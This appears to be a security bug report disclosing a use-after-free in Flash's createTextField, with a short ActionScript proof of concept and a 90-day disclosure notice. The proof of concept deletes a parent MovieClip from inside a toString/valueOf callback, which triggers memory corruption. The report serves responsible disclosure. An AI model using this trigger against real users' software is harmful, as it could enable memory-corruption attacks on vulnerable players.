There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

ctf.fla 4.6 KB Download

ctf.swf 711 bytes Download